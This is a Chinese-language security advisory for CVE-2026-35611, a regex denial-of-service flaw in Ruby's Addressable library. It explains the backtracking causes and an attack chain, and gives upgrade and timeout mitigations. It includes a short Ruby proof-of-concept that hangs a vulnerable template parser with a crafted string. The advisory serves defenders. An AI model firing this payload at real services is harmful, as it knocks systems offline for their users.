IPBUF安全漏洞报告
English
CVE-2026-35611 CVSS 7.5 高危

CVE-2026-35611 Ruby Addressable库ReDoS漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35611
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Ruby Addressable库

相关标签

ReDoS拒绝服务RubyAddressableCVE-2026-35611正则表达式

漏洞概述

Ruby Addressable库2.3.0至2.9.0之前版本存在正则表达式拒绝服务漏洞。由于URI模板实现中存在易受灾难性回跟踪攻击的正则表达式,攻击者可利用特定修饰符(如*)或多变量运算符构造恶意URI。服务端解析此类URI时将消耗大量CPU资源,导致拒绝服务。

技术细节

该漏洞源于Addressable库URI模板实现中的两类正则表达式缺陷。一是使用爆炸修饰符(如{foo*})产生的模式包含嵌套无界量词,其匹配复杂度为O(2^n);二是使用+或#运算符的多变量(如{+v1,v2})因逗号分隔符导致歧义回跟踪,复杂度为O(n^k)。攻击者通过发送特制的恶意URI触发这些低效的正则匹配,迫使服务器陷入长时间的计算,从而耗尽资源并瘫痪服务。

攻击链分析

STEP 1
侦察阶段
攻击者确认目标应用使用了Ruby语言及Addressable库版本在2.3.0至2.9.0之间。
STEP 2
构造攻击载荷
攻击者利用漏洞特征,构造包含特定模式(如大量重复字符配合*修饰符)的恶意URI字符串。
STEP 3
发送请求
攻击者将恶意URI发送至目标服务器,触发Addressable库的模板解析功能。
STEP 4
资源耗尽
服务器在解析URI时,正则表达式匹配发生灾难性回跟踪,CPU占用率飙升至100%,导致服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-35611 # Vulnerable version: addressable < 2.9.0 require 'addressable/template' # Case 1: Template with * (explode) modifier # This generates a regex vulnerable to catastrophic backtracking template = Addressable::Template.new("{x*}") # Malicious payload designed to trigger O(2^n) complexity # A long string of characters without separators can cause severe backtracking payload = "a" * 50 puts "Sending malicious payload..." start = Time.now # This operation will hang and consume high CPU begin template.extract(payload) rescue => e puts e.message end puts "Time taken: #{Time.now - start} seconds"

影响范围

Ruby Addressable >= 2.3.0, < 2.9.0

防御指南

临时缓解措施
建议立即将Ruby Addressable库升级至2.9.0或更高版本以修复此漏洞。若无法立即升级,应在应用层面对URI解析操作设置严格的超时阈值,或使用输入验证过滤可能导致回跟踪的恶意字符模式,以此作为临时缓解方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表